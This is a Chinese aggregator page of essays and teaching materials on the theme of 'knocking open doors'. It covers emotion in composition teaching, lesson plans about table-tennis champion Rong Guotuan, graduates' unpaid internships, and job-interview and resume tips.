敲开情感的大门的作文

以下是小编收集整理的敲开情感的大门的作文，本文共23篇，仅供参考，希望对大家有所帮助。本文原稿由网友“王小者陛下”提供。

篇1：敲开情感的大门

敲开情感的大门

敲开情感的大门

――作文教学成功的关键

作文是学生认识水平和语言表达能力的体现。切实提高小学教学质量，具有十分重大的意义。但在作文教学中，往往会遇到许多影响作文教学质量的因素。笔者认为，情感因素是作文教学成功与否的关键。

情感是人对客观事物是否符合自身需要、愿望和观点而产生的体验。它具有调节行动的功能和信号交际的功能。所谓调节功能指情感作为动力，有引起和维持行动，排除前进中的障碍的作用；其信号功能即通过表情实现的交际功能，包括肢体表情、言语表情和面部表情。

提高学生的作文能力，要正确而深刻地认识事物，并用准确生动的语言把它表达出来，就必须靠真挚的情感去体验。

首先，情感和认识过程紧密联系，认识是情感的基础，情感依赖于认识。客观事物只有当它被人们认识了的时候，才有可能引起人的情感。但情感又作用于人的`认识，既可以推动，也可以阻碍认识过程的发展。例如，对一种事物的喜爱，能促使我们更全面、更深刻地去认识它，了解它；相反，如果我们讨厌一种事物，就可能性不去理睬它，甚至就在眼皮底下也视而不见。

其次，饱含情感地认识事物，使事物也染上感情色彩。而带上感情色彩的事物，往往更容易为我们认识和接受。例如：在险滩处处、重峦叠嶂的三峡间行船本是件辛苦的事、惊险的事，可是在《早发白帝城》一诗中，由于李白当时是途中遇赦，满怀喜悦，所以使选种也充满了“两岸猿声啼不住，轻舟已过万重山”的轻快、欢乐气氛。又如，小语第七册中的《古井》一文，作者由于喜爱古井，而觉得乡亲们取水经过家门前时，“桶儿叮叮当当，扁担吱悠吱悠像一支支快乐的乡间小曲。”“门前的路面湿漉漉的，老是像刚下过一场春雨似的。”这样，高使行一原本抽象、呆板的事物变得栩栩如生，跃然纸上。

最后，文章是情感的载体，情感是文章的灵魂。所以说，语文不但具有工具性，而且有情意性。一篇好好的文章总是倾注着作者强烈的

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篇2：敲开情感的大门的作文

敲开情感的大门的精选作文

敲开情感的大门

——作文教学成功的关键

作文是学生认识水平和语言表达能力的体现。切实提高小学教学质量，具有十分重大的意义。但在作文教学中，往往会遇到许多影响作文教学质量的因素。笔者认为，情感因素是作文教学成功与否的关键。

情感是人对客观事物是否符合自身需要、愿望和观点而产生的体验。它具有调节行动的功能和信号交际的功能。所谓调节功能指情感作为动力，有引起和维持行动，排除前进中的障碍的作用；其信号功能即通过表情实现的交际功能，包括肢体表情、言语表情和面部表情。

提高学生的作文能力，要正确而深刻地认识事物，并用准确生动的语言把它表达出来，就必须靠真挚的情感去体验。

首先，情感和认识过程紧密联系，认识是情感的基础，情感依赖于认识。客观事物只有当它被人们认识了的时候，才有可能引起人的情感。但情感又作用于人的认识，既可以推动，也可以阻碍认识过程的发展。例如，对一种事物的喜爱，能促使我们更全面、更深刻地去认识它，了解它；相反，如果我们讨厌一种事物，就可能性不去理睬它，甚至就在眼皮底下也视而不见。

其次，饱含情感地认识事物，使事物也染上感情色彩。而带上感情色彩的事物，往往更容易为我们认识和接受。例如：在险滩处处、重峦叠嶂的三峡间行船本是件辛苦的事、惊险的事，可是在《早发白帝城》一诗中，由于李白当时是途中遇赦，满怀喜悦，所以使选种也充满了“两岸猿声啼不住，轻舟已过万重山”的轻快、欢乐气氛。又如，小语第七册中的《古井》一文，作者由于喜爱古井，而觉得乡亲们取水经过家门前时，“桶儿叮叮当当，扁担吱悠吱悠像一支支快乐的乡间小曲。”“门前的路面湿漉漉的，老是像刚下过一场春雨似的。”这样，高使行一原本抽象、呆板的事物变得栩栩如生，跃然纸上。

最后，文章是情感的载体，情感是文章的灵魂。所以说，语文不但具有工具性，而且有情意性。一篇好好的文章总是倾注着作者强烈的.情感，没有情感的文章就如同一个没有灵魂的人一般。而许许多多的文章都是在作者激情如注的情况下诞生的。例如选入小学课本第十册的《闻官军收河南河北》一诗，被称为唐朝著名爱国诗人杜甫的“生平第一快诗”。当时由于“安史之乱”，国家四分五裂，民不潦生。作为因战而流离失所的诗人，渴望祖国统一，返回故里的心情是非同一般的，当听到“安史之乱”的叛军头目史朝义兵败自杀，河南河北相继收复，祖国得于统一的消息，而极流泪，欢喜欲狂，于是挥笔写下了这流传千古、饱含激情的好诗，可见，情感对文章来讲是至关重要的，缺乏情感是不可能写出好文章的。

那么，如何培养学生的作文情感呢？笔者认为应做到以下几点：

第一， 创设情境，激发学生情感。

人的情感往往是在一定的情境中产生的。由于小学獐情感容易受到具体事物的支配，所以，教师可以有意识地设计有关教学的情境，以激发学生的情感。例如，辅导学生写一篇介绍暑假生活的作文。首先，教师可以根据学生爱听故事、讲故事的心理，以故事的形式告诉学生自己暑假生活里经历过的一些事，创设一个良好的氛围；然后让学生想想自己暑假生活里经历过的事情，这时学生往往就有一种跃跃欲试，不吐不快的心理。这时教师就可以因势利导，引导把自己的小故事讲出来。当然，事情一旦叙述清楚，再动笔把它写下不来，就不再困难。

第二，引导实践，培养学生情感。

实践是情感形成和发展的基础。观察实践，认识生活，才能为作文解决源头问题。例如写一个劳动场面的作文，首先必须鼓励学生参加各种劳动锻炼。只有经常参加劳动，才能对劳动的艰辛有所认识，对劳动成果的甘甜有所体验，对劳动快乐有所感受，文章的内容才比较真实、充分，而且有真情实感。如果平常没有参加劳动，只能三言两语写自我服务劳动，或者从有限的几次卫生大扫除中去搜索枯肠，就写不出饱含激情的好作文。作文同生活的关系是密切的，所以我们要引导学生直生活作文的道路，克服作文教学脱离生活，脱离学生实际的弊病，把各种实践活动引进作文中来。组织学生参观访问、旅游、搞科技小制作和小实验，参加各种活动和体育活动等，从而丰富学生习作的内容，培养学生作文的情感。

第三，教师带头写好“下水”文，熏陶学生情感。

老教育家叶圣陶先生说：“希望教师经常练笔------教师善读善作，深知甘苦，左右逢源------则为学生引路，可以事半功倍。故教师不断提高其水平实为要图。”苏联教育家苏霍姆林斯基也非常重视“教师下水文”。他认为学生不会写作文，“最简单的原因就是教师自己不会写作文，学生从来没有听到过教师自己议论写作文的切身体会。”从中不难看出教师“下水文”的魅力。教师爱好作文，文章写得情趣盎然，鞭辟入理，学生也会情动而辞发，逐步写好作文。

第四，建立良好师生关系，稳定学生情感。

建立良好师生关系是保持学生浓厚学习兴趣的一个外在要让学生喜欢写作文，首先要让学生热爱教作文的老师。为此，教师应以一个朋友的身份了解学生的喜怒哀乐，帮助他们解除苦恼，和他们一起阅读课外书，一起讨论读后感，获得学生的信任和爱戴。这样，学生在作文时就敢于大胆地把一些真实的事情、心理真实的感受写到作文中去。从而做到作文内容的真实具体，有真情实感，也使学生更加喜欢写作文。

第五， 肯定成绩，深化学生的情感。

根据我国心理学工作者的研究发现，每个人都有自我实现的需要，即成就需要。小学儿童的成就主要表现在学业成就范围内。在作文过程中，肯定学生成绩是培养学生作文兴趣的有效措施之一。对此，在作文教学中我们应该遵循循序渐进原则、热情鼓励原则、区别对待原则和个性培养原则。注意发现学生作文中的优点，哪怕是一个好词，一个好句都予于热情鼓励和适当表扬。为使学生有更多成功的体验，我们可以经常创设一些让他们表现的机会，如：片断练习、即兴作文、口头作文、活页作文等。一旦发现学生的进步和优点，就给予肯定，让每个学生都能体验到成功的喜悦。当学生在作文中成就需要得到满足，就一定会更深层地喜欢一写作文。

由此可见，教师在作文教学的过程中，注意培养学生热爱生活，喜欢作文的情感是至关重要的。做到了这一点，你也将体会到作文教学成功的喜悦。

篇3：作文教学：敲开情感的大门

作文教学：敲开情感的大门

作文是学生认识水平和语言表达能力的体现。切实提高小学教学质量，具有十分重大的意义。但在作文教学中，往往会遇到许多影响作文教学质量的因素。笔者认为，情感因素是作文教学成功与否的关键。

情感是人对客观事物是否符合自身需要、愿望和观点而产生的体验。它具有调节行动的功能和信号交际的功能。所谓调节功能指情感作为动力，有引起和维持行动，排除前进中的障碍的作用；其信号功能即通过表情实现的交际功能，包括肢体表情、言语表情和面部表情。

提高学生的作文能力，要正确而深刻地认识事物，并用准确生动的语言把它表达出来，就必须靠真挚的情感去体验。

首先，情感和认识过程紧密联系，认识是情感的基础，情感依赖于认识。客观事物只有当它被人们认识了的时候，才有可能引起人的情感。但情感又作用于人的认识，既可以推动，也可以阻碍认识过程的发展。例如，对一种事物的喜爱，能促使我们更全面、更深刻地去认识它，了解它；相反，如果我们讨厌一种事物，就可能性不去理睬它，甚至就在眼皮底下也视而不见。

其次，饱含情感地认识事物，使事物也染上感情色彩。而带上感情色彩的事物，往往更容易为我们认识和接受。例如：在险滩处处、重峦叠嶂的三峡间行船本是件辛苦的事、惊险的事，可是在《早发白帝城》一诗中，由于李白当时是途中遇赦，满怀喜悦，所以使选种也充满了“两岸猿声啼不住，轻舟已过万重山”的轻快、欢乐气氛。又如，小语第七册中的《古井》一文，作者由于喜爱古井，而觉得乡亲们取水经过家门前时，“桶儿叮叮当当，扁担吱悠吱悠像一支支快乐的乡间小曲。”“门前的路面湿漉漉的，老是像刚下过一场春雨似的。”这样，高使行一原本抽象、呆板的事物变得栩栩如生，跃然纸上。

最后，文章是情感的载体，情感是文章的灵魂。所以说，语文不但具有工具性，而且有情意性。一篇好好的文章总是倾注着作者强烈的情感，没有情感的文章就如同一个没有灵魂的人一般。而许许多多的文章都是在作者激情如注的情况下诞生的。例如选入小学课本第十册的《闻官军收河南河北》一诗，被称为唐朝著名爱国诗人杜甫的“生平第一快诗”。当时由于“安史之乱”，国家四分五裂，民不潦生。作为因战而流离失所的诗人，渴望祖国统一，返回故里的心情是非同一般的，当听到“安史之乱”的叛军头目史朝义兵败自杀，河南河北相继收复，祖国得于统一的消息，而极流泪，欢喜欲狂，于是挥笔写下了这流传千古、饱含激情的好诗，可见，情感对文章来讲是至关重要的，缺乏情感是不可能写出好文章的。

那么，如何培养学生的作文情感呢？笔者认为应做到以下几点：

第一， 创设情境，激发学生情感。

人的情感往往是在一定的情境中产生的。由于小学獐情感容易受到具体事物的支配，所以，教师可以有意识地设计有关教学的情境，以激发学生的情感。例如，辅导学生写一篇介绍暑假生活的作文。首先，教师可以根据学生爱听故事、讲故事的心理，以故事的形式告诉学生自己暑假生活里经历过的一些事，创设一个良好的氛围；然后让学生想想自己暑假生活里经历过的事情，这时学生往往就有一种跃跃欲试，不吐不快的心理。这时教师就可以因势利导，引导把自己的小故事讲出来。当然，事情一旦叙述清楚，再动笔把它写下不来，就不再困难。

第二，引导实践，培养学生情感。

实践是情感形成和发展的基础。观察实践，认识生活，才能为作文解决源头问题。例如写一个劳动场面的作文，首先必须鼓励学生参加各种劳动锻炼。只有经常参加劳动，才能对劳动的艰辛有所认识，对劳动成果的甘甜有所体验，对劳动快乐有所感受，文章的内容才比较真实、充分，而且有真情实感。如果平常没有参加劳动，只能三言两语写自我服务劳动，或者从有限的几次卫生大扫除中去搜索枯肠，就写不出饱含激情的好作文。作文同生活的关系是密切的，所以我们要引导学生直生活作文的`道路，克服作文教学脱离生活，脱离学生实际的弊病，把各种实践活动引进作文中来。组织学生参观访问、旅游、搞科技小制作和小实验，参加各种活动和体育活动等，从而丰富学生习作的内容，培养学生作文的情感。

第三，教师带头写好“下水”文，熏陶学生情感。

老教育家叶圣陶先生说：“希望教师经常练笔------教师善读善作，深知甘苦，左右逢源------则为学生引路，可以事半功倍。故教师不断提高其水平实为要图。”苏联教育家苏霍姆林斯基也非常重视“教师下水文”。他认为学生不会写作文，“最简单的原因就是教师自己不会写作文，学生从来没有听到过教师自己议论写作文的切身体会。”从中不难看出教师“下水文”的魅力。教师爱好作文，文章写得情趣盎然，鞭辟入理，学生也会情动而辞发，逐步写好作文。

第四，建立良好师生关系，稳定学生情感。

建立良好师生关系是保持学生浓厚学习兴趣的一个外在要让学生喜欢写作文，首先要让学生热爱教作文的老师。为此，教师应以一个朋友的身份了解学生的喜怒哀乐，帮助他们解除苦恼，和他们一起阅读课外书，一起讨论读后感，获得学生的信任和爱戴。这样，学生在作文时就敢于大胆地把一些真实的事情、心理真实的感受写到作文中去。从而做到作文内容的真实具体，有真情实感，也使学生更加喜欢写作文。

第五， 肯定成绩，深化学生的情感。

根据我国心理学工作者的研究发现，每个人都有自我实现的需要，即成就需要。小学儿童的成就主要表现在学业成就范围内。在作文过程中，肯定学生成绩是培养学生作文兴趣的有效措施之一。对此，在作文教学中我们应该遵循循序渐进原则、热情鼓励原则、区别对待原则和个性培养原则。注意发现学生作文中的优点，哪怕是一个好词，一个好句都予于热情鼓励和适当表扬。为使学生有更多成功的体验，我们可以经常创设一些让他们表现的机会，如：片断练习、即兴作文、口头作文、活页作文等。一旦发现学生的进步和优点，就给予肯定，让每个学生都能体验到成功的喜悦。当学生在作文中成就需要得到满足，就一定会更深层地喜欢一写作文。

由此可见，教师在作文教学的过程中，注意培养学生热爱生活，喜欢作文的情感是至关重要的。做到了这一点，你也将体会到作文教学成功的喜悦。

篇4：《敲开世界冠军的大门》 之一

《敲开世界冠军的大门》 之一

第一课时

教学目标：

1、按四项要求预习课文，了解课文内容，读通课文。

2、学会本课15个生字，理解38个词语的意思。

3、初步感受容国团为祖国而勇于进取的拼搏精神。

教学重点：预习课文、学会方法

教学难点：学会预习方法

教学过程：

一、揭题激趣

读题质疑。

二、学习自学提示

1、说说预习的方法

2、小结归纳：读学问标答

三、自学课文

根据预习的要求自学课文。

四、自学检查

1、读（1）生字词（2）逐段通读，说说这一段写了什么？

2、学提出不懂词语

3、问有什么不懂的地方？

4、标检查一小组“标”的情况并反馈

5、答初步回答课后问题，不懂的再作记号

五、指导分段

1、尝试分段

2、说说你是怎么分的？（抓住插叙部分把文章分为三段）

六、自由朗读全文

七、课堂作业

作业本1―4题

第二课时

教学目标：

1、能联系课文内容，理解3个反问句的意思。能用“终于”造句。

2、能对课文中强烈表达思想感情的语句，读出语气和感情。

3、感受容国团为祖国而勇于进取的拼搏精神。

教学过程：

一、激趣引入

同学们你们知道哪些世界冠军？你能说说他们的事迹吗？

二、学习第3自然段

1、但是，在旧中国我国的体育运动却是非常的落后，你们知道课文哪一段是描写这段屈辱的历史的吗？指名读第3自然段。

2、简介旧中国3次参加奥运会时的情况。

3、朗读体会。说说如果你当时蒙受这样的屈辱会怎样想？

4、那是谁为我们敲开了世界冠军的大门呢？让我们回到那激动人心的.一刻吧。

三、学习第一段

1、指名读。说一说你觉得当时的气氛怎么样？从哪句话可以看出来。

2、读懂重点句。

（1）什么叫“异样”的目光？群众为什么会这样？联系上下文说一说。

（2）“智慧和毅力”什么意思？这是描写容国团外貌的，跟他敲开世界冠军的大门有什么联系？

3、自读第一段，读出紧张、热烈的气氛。

四、学习第二段

1、此时此刻，受到万众瞩目的容国团心情怎么样？他的心里又是怎么想的呢？

指名读第2自然段。

其他同学划出表现容国团心理活动的句子。

2、有感情地朗读句子。

3、把反问句“难道能让祖国再蒙受屈辱吗？”“人生能有几次搏”改成陈述句。

4、如果你是容国团你在当时会想些什么？

（沉重、悲愤、荣幸、振奋……）

5、练读两个句子。读出激动而振奋的心情。

五、学习第三段

1、那么容国团有没有实现他为国争光的愿望呢？他是怎么做的呢？

2、自读第三段。用波浪线划出描写容国团奋勇拼搏的相应句子。

3、“面对强手”是什么意思？简介西多。把反问句“这一届的冠军，不属于西多还能属于谁”改成陈述句。

4、理解“拉打结合、左右开弓、忽远忽近、变幻莫测”的意思。自已当解说员来解说当时比赛热烈的场面。

5、朗读背诵。

6、经过这样的奋勇拼搏，容国团――

（“终于”获得了世界冠军）

这“终于”说明这胜利――（来之不易）

用“终于”造句。

7、终于胜利了，共和国的国歌第一次在世界赛场上升起，你的心情怎样？齐读最后一个自然段。

有感情地朗读。读出自豪、光荣与激动的语气。

六、解答讨论课后问题。

七、课堂作业

作业本5、6、7

第三课时

教学目标：

1、练习有感情地朗读课文。

2、巩固生字新词。

3、能举例说说继容国团之后我国的哪些世界冠军奋勇拼搏的事迹，激发学生的体育精神。

4、深刻领会“人生能有几次搏”的含义。

教学重点：有感情地朗读课文

教学难点：“说”的训练

教学过程：

一、朗读训练

1、自由朗读全文，读出语气。

（重点语句作重点指导）

2、指名读、评议。

二、复习检查

听写生字词语。

三、说话训练

1、能举例说说继容国团之后我国的哪些世界冠军奋勇拼搏的事迹。（你印像最深的一场体育比赛）

2、指名说、评议。

3、说说这些运动员勇于拼搏的精神对我们有什么启发？

四、质疑问难

五、写一写（选择其一）

1、读了本文后的感想，谈谈对自己的启发。

2、介绍一场精彩的体育比赛。

板书设计：  进入决赛：异样的目光

心情不平静：失利、受辱

敲开世界冠军的大门 奋勇拼搏：拉打结合 左右开弓

忽远忽近变幻莫测

获得冠军：热泪盈眶 呼唤祖国

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篇5：敲开世界冠军的大门的教案

敲开世界冠军的大门的教案

教学目标：

1、按四项要求预习课文。

2、学会本课10个生字;理解14个词语的意思，并用“终于”造成句;联系课文内容，理解3个反问句的意思。

3、能对课文中强烈表达思想感情的语句，读出语气和感情。

教学重点：

落实本单元的学习重点——预习课文。

教学难点：

体会文中容国团为祖国争夺荣誉而奋战的“拼搏精神”，进行爱国主义教育。

课时安排：3课时

第一课时

教学过程：

一、审题激趣，导入课文

1、出示题目，读题。

你在理解这个题目的时候，有哪些疑问?

2、自由读课文，说说对课题的理解。

3、简单说说课文的主要内容。

二、对照提示，检测预习

1、通过课文的预习、自读，除了理解了课题的意思，了解了课文的主要内容，你还做了哪些事?

2、读读单元提示，对照，觉得自己做得比较好的哪一项?不够好的是哪一项?

3、查漏补缺，再次读书。

4、检查：

(1)通读：二人一组，齐读，相互检验朗读情况。

(2)说说文中你原本不理解的，通过理解了哪几个词语

还有哪些不理解的词语?

(3)说说你运用了哪些读书符号?

在这一项交流过程中讨论分段，说说自己分段的理由。

(4)对于课文，在读的过程中发现了哪些疑难问题?

三、小结预习，形成习惯。

四、自学生字，抄写字词。

第二课时

教学过程：

一、引发回忆，激发情感。

1、你看到过有中国队参加的一些大小运动会吗?有哪些?那么，你看到过通过运动员的努力，让五星红旗在国歌声中升起的情景吗?

那一刻，你看到了什么?感受到了什么?

2、课文哪一段写了这样的.场面，请你用心地读一读，你能感受到什么?

板书：骄傲、自豪、激动……

3、这一次国旗的升起，与你电视里看到的那些场面意义一样吗?

二、学习课文，朗读体会

导入：这种非同一般的意义，我们可以从课文的字里行里体会到。

第一段：

1、自读，你从哪里感觉到这次的夺冠赛意义不同一般。

2、交流：

抓住这一句“当中国队队员入场时，人们用异样的目光，指点着……”

(1)“异样”什么意思?

(2)你觉得会有哪些人向中国队中的容国团投来怎么样的目光?

(3)讨论：那么，那一声声“中国!容国团!”出包含不同的人不同的心情。请试着说一说：(出示)

当中国队队员入场时，(谁)(怎么样地)呼叫着“中国!容国团!”

第二段：过渡——容国团更是心潮澎湃

1、自读，体会容国团当时想到了些什么?他的心情是怎么样的?

2、交流。

(1)学生自由说。

(2)根据自己的理解，说一说：

容国团想到，感到，决心。

(3)练习朗读。

第三段：过渡——人生能有几回搏，大家想感受当时比赛的激烈吗?

1、指名读。

2、评议，再练习朗读。以读来体会。

三、补充写话，加深体验。

1、再次读课文的最后一段，你感受到了什么?

2、当时，容国团的心里一定百感交集，他在心里默默地呼唤：“祖国啊，我亲爱的祖国……”

(1)这个省略号起什么作用?

(2)他还会想到些什么?“祖国啊，我亲爱的祖国”为开头，续写一段话。

(3)指名读。

3、教师小结。

第三课时

教学要点：

1、复习，总结全文。

2、指导完成作业本。

篇6：实习能否敲开就业大门

当部分应届大学毕业生踌躇满志地走上新的工作岗位之时，一部分正陷于“毕业=失业”尴尬漩涡之中的毕业生为了摆脱失业困境，主动“不要工资”到单位当起了实习生，成为实习就业者。怀揣着或明或暗的就业希望，这些游走在失业与就业之间的“天之骄子”们前途未卜。

全国普通高校毕业生达413万人，比上年增加75万人，增幅达22%左右，大学生就业形势严峻。而迫于此压力，实习就业者这一我国近年来新生成群体的轮廓渐趋明晰。

实习就业者群体轮廓渐趋明晰

今年6月，来自上海的刘谊正式从重庆大学本科毕业了，然而对他而言，漫漫求职路依然还在继续。不甘心于毕业就失业，刘谊主动到重庆一家节目制作公司当起了实习生，再过7天，他的实习期就满两个月了。在实习就业的日子里，每天他都第一个到单位和最后一个离开单位的人，他主动揽下别人不愿干的活儿，一干就是一整天。

“我们也清楚明白实习就业里很可能就埋藏了陷阱，我们可能会成为企业的免费劳动力，但是拒绝就意味着失去一次就业机会。即使有1%的希望，我们也必须100%地去争取。”刘谊显得有些无奈地说。

在与刘谊的攀谈中，记者了解到，他们班上31名同学，除了五个国防生、三个考上研究生的，只有六个同学找到工作，其余的就业情况大多与他类似，都在一些单位里当着实习生，而没有任何报酬。

“我现在身上只剩下210元了，马上实习单位还要带我去外地做一个项目，要是还是像前两个月那样，一分钱补贴也不给的话，我真不知道还能不能撑下去。”另一名实习就业者马依晨在接受采访时，显得十分焦急。

用工单位与毕业大学生的“两厢情愿”

在劳动力供大与求和巨大的就业压力之下，对大学毕业生与用人单位而言，实习就业这一新的就业形式竟是“两厢情愿”的.结果。

“只要不毕业就失业，实习就业又何妨？难道一个大学毕业生还真去领低保金过活吗？”刘谊说：“现在的用人单位招人时，都要求有一定的从业经验，我们这些应届大学生在这上面很受限，如今只有通过实习来积累自己的工作经验。”

也有毕业生通过实习就业，进入到某一行业内知名企业实习，而这样的实习经历也为他们增添了职场竞争的砝码。“在读书时就很向往这家企业，但他们的要求太高，我根本没机会去工作，但通过实习就业的方式，企业的进入门槛一下就降低了，而我在这里实习也学到很多。”今年的应届大学毕业生陆路还是通过熟人介绍才到重庆一家软件研发的大企业实习的，他说，“现在我去其他一些小的软件开发公司求职的时候，他们都很认可我这段实习经历，我现在已经联系好一家工作单位，等我三个月实习期一满，我就过去上班了。”

而对用人单位来说，实习就业为他们提供了“精益求精”挑选适用人才的机会。“现在企业的竞争实质上就是人才的竞争，在毕业生实习就业过程中，企业可以更好地发掘实习者是否有潜力胜任工作，选择真正有用的人才。”重庆某媒体营销主管李竣表示，而且实习就业还可以降低了用人风险，由于应届毕业生的稳定性不高，企业花大力气培养成熟一个又跳槽了，企业要承担巨大的培训成本。

篇7：如何敲开职场大门的方法

首先要设法了解你希望就职的那个公司或单位尽量多的情况。其次要尽可能全面地了解你自己，应认真考虑一下你究竟想在业务上干出什么名堂，该工作是否有助你实现个人目标，还应该想一想通过何种途径可以证明你以前的经历能使你胜任未来工作。并且记住以下建议：

1、准时赴约，切不可让招聘人等候。

2、要让接见者请你就座时才能按指定位置入座，一般以对面为佳，并注意坐姿的优美与神情表现。

3、服饰打扮要稳重正式，衣着要整洁得体，头发要梳理，皮鞋要擦亮。

4、带上个人简历、证件、介绍信或推荐信等必要的材料，见面时，一定要保证不用翻找就能迅速取出所需资料。

5、讲话时要充满自信，回答提问尽量详细，但不要展开发挥，要按接见者的话题进行交谈，大胆询问有关未来工作。

6、及时告辞。有些接见者以起身表示面谈结束，另一些人则用“同你谈话我感到很愉快”或“感谢你前来面谈”这样的辞令来结束谈话，对此，面试者应十分敏锐，及时起身告辞。

7、要有礼貌。面试过程中应该始终遵守礼仪准则，告辞时应该同接见者握手，面带微笑地表示感谢。

职场定位的方式

定位是自我定位和社会定位两者的统一，一个人只有在了解自己和了解职业的基础上才能够给自己做准确定位。

首先，要了解自己：主要是核心价值观念、动力系统、个性特点、天赋能力、缺陷等。方法：可以自我探索，可以请他人做评价，可以借助心理测验――充分地了解自己。

其次，要了解职业：包括职业的工作内容、知识要求、技能要求、经验要求、性格要求、工作环境、工作角色等。方法：询问业内的专家达10名以上，参照业内成功人士。

第三，要了解自己和职业要求的差距，需要仔细地比较各个方面要求的差距。你可能会有多种职业目标，但是每个目标带给你的好处和弊端不同，你需要根据自己的特点仔细地权衡选择不同目标的的利弊得失，还要根据自己的现实条件确定达到目标的方案。

第四，要确定如何把自己的定位展示给面试官和上司，确定了自己的职业取向和发展方向之后，你需要采用适合的方式传达给面试官或者上司，以次获得入门和发展的机会。

[如何敲开职场大门的方法]

篇8：敲开世界冠军的大门练习题

敲开世界冠军的大门练习题

写出近义词或反义词

近义词：

蒙受—— 屈辱——（）

呼唤——（） 变幻莫测——（）

反义词：

屈辱——（） 闭幕——（）

是反问句的选择“√”，不是的选择“×”。

A。小朋友，汽车站往哪里走？

B。这一届的冠军，不属于西多还能属于谁？

C。这么高兴，到哪儿去呀？

D。我把照片带回去时，你不就到了北京吗？

E。你的错误难道还不够严重吗？

篇9：《敲开世界冠军的大门》的教学设计

第一课时

教学目标 ：

1、按四项要求预习课文，了解课文内容，读通课文。

2、学会本课15个生字，理解38个词语的意思。

3、初步感受容国团为祖国而勇于进取的拼搏精神。

教学重点：预习课文、学会方法

教学难点 ：学会预习方法

教学过程 ：

一、揭题激趣

读题质疑。

二、学习自学提示

1、说说预习的方法

2、小结归纳：读学问标答

三、自学课文

根据预习的要求自学课文。

四、自学检查

1、读（1）生字词（2）逐段通读，说说这一段写了什么？

2、学提出不懂词语

3、问有什么不懂的地方？

4、标检查一小组标的情况并反馈

5、答初步回答课后问题，不懂的再作记号

五、指导分段

1、尝试分段

2、说说你是怎么分的？（抓住插叙部分把文章分为三段）

六、自由朗读全文

七、课堂作业

作业 本14题

第二课时

教学目标 ：

1、能联系课文内容，理解3个反问句的意思。能用终于造句。

2、能对课文中强烈表达思想感情的语句，读出语气和感情。

3、感受容国团为祖国而勇于进取的拼搏精神。

教学过程 ：

一、激趣引入

同学们你们知道哪些世界冠军？你能说说他们的事迹吗？

二、学习第3自然段

1、但是，在旧中国我国的体育运动却是非常的落后，你们知道课文哪一段是描写这段屈辱的历史的吗？指名读第3自然段。

2、简介旧中国3次参加奥运会时的情况。

3、朗读体会。说说如果你当时蒙受这样的屈辱会怎样想？

4、那是谁为我们敲开了世界冠军的大门呢？让我们回到那激动人心的一刻吧。

三、学习第一段

1、指名读。说一说你觉得当时的气氛怎么样？从哪句话可以看出来。

2、读懂重点句。

（1）什么叫异样的目光？群众为什么会这样？联系上下文说一说。

（2）智慧和毅力什么意思？这是描写容国团外貌的，跟他敲开世界冠军的大门有什么联系？

3、自读第一段，读出紧张、热烈的气氛。

四、学习第二段

1、此时此刻，受到万众瞩目的`容国团心情怎么样？他的心里又是怎么想的呢？

指名读第2自然段。

其他同学划出表现容国团心理活动的句子。

2、有感情地朗读句子。

3、把反问句难道能让祖国再蒙受屈辱吗？人生能有几次搏改成陈述句。

4、如果你是容国团你在当时会想些什么？

（沉重、悲愤、荣幸、振奋）

5、练读两个句子。读出激动而振奋的心情。

五、学习第三段

1、那么容国团有没有实现他为国争光的愿望呢？他是怎么做的呢？

2、自读第三段。用波浪线划出描写容国团奋勇拼搏的相应句子。

3、面对强手是什么意思？简介西多。把反问句这一届的冠军，不属于西多还能属于谁改成陈述句。

4、理解拉打结合、左右开弓、忽远忽近、变幻莫测的意思。自已当解说员来解说当时比赛热烈的场面。

5、朗读背诵。

6、经过这样的奋勇拼搏，容国团

（终于获得了世界冠军）

这终于说明这胜利（来之不易）

用终于造句。

7、终于胜利了，共和国的国歌第一次在世界赛场上升起，你的心情怎样？齐读最后一个自然段。

有感情地朗读。读出自豪、光荣与激动的语气。

六、解答讨论课后问题。

七、课堂作业

作业本5、6、7

第三课时

教学目标 ：

1、练习有感情地朗读课文。

2、巩固生字新词。

3、能举例说说继容国团之后我国的哪些世界冠军奋勇拼搏的事迹，激发学生的体育精神。

4、深刻领会人生能有几次搏的含义。

教学重点：有感情地朗读课文

教学难点 ：说的训练

教学过程 ：

一、朗读训练

1、自由朗读全文，读出语气。

（重点语句作重点指导）

2、指名读、评议。

二、复习检查

听写生字词语。

三、说话训练

1、能举例说说继容国团之后我国的哪些世界冠军奋勇拼搏的事迹。（你印像最深的一场体育比赛）

2、指名说、评议。

3、说说这些运动员勇于拼搏的精神对我们有什么启发？

四、质疑问难

五、写一写（选择其一）

1、读了本文后的感想，谈谈对自己的启发。

2、介绍一场精彩的体育比赛。

板书设计 ：进入决赛：异样的目光

心情不平静：失利、受辱

敲开世界冠军的大门 奋勇拼搏：拉打结合 左右开弓

忽远忽近变幻莫测

获得冠军：热泪盈眶 呼唤祖国

篇10：巧用简历敲开名企大门

巧用简历敲开名企大门

简历是求职时给人的第一印象，它就好比求职的第一种武器——看看是不是能够敲开你心仪的公司的大门。如果它够快够准够狠，那就一定能在第一时间打动阅人无数的招聘官的铁石心肠，赢得进一步面试的机会；如果它“泯然众人矣”，那你可能只有等待无止境的候补的命运；如果你没有好好爱护你的武器，漫不经心地就出手的话——对不起，你在第一时间就被打入“冷宫”了。

相信每个求职者都希望开门一炮红，不要出现“出师未捷身先死”的惨淡场面。在匆忙之中就想动手制作简历前，希望你先能了解它，重视它。

简历是书面推销员

“求职”的本质其实就是人的流通，和一般的商业行为无异：一方求售、一方求货。再说得明白些，企业是买主，挑精捡肥寻觅好货色；人才是商品，充实了内涵、做好包装，待价而沽；简历则无异于推销员，将人才引见到企业眼前，使劲浑身解数说服企业接纳。

简历是虚拟的求职者

未见其人，先睹其函。简历以书面形式传达一个人的学历、经历、专长、嗜好及其它，勾勒出他（她）的'完整样貌；甚至根据书写的格式、排列逻辑、语辞字汇，也可判读出撰写者的气质、内涵。

简历是明察秋毫的检验官

由于是浓缩但完整地记录个人资料，因此简历忠实地呈现出求职者的背景资料、经验技术，以及优势弱点。借着撰写简历，求职者重新经历自己的过去、审视收获和缺憾，等于在客观地检验自己，默记手中拥有哪些筹码、应该补充哪些能量，同时，也为面谈预先作好准备。

认识到简历的重要性以后，相信这时候你一定在精心制作你的简历啦。这里还有一点要提醒你的是——简历是一件“快速消费品”，千万不要以为花了重金或者找了专家咨询、制作完简历之后就万无一失，可以高枕无忧了。如果你希望你的简历时时刻刻能吸引人事经理的眼球的话，就需要不断地维护更新。

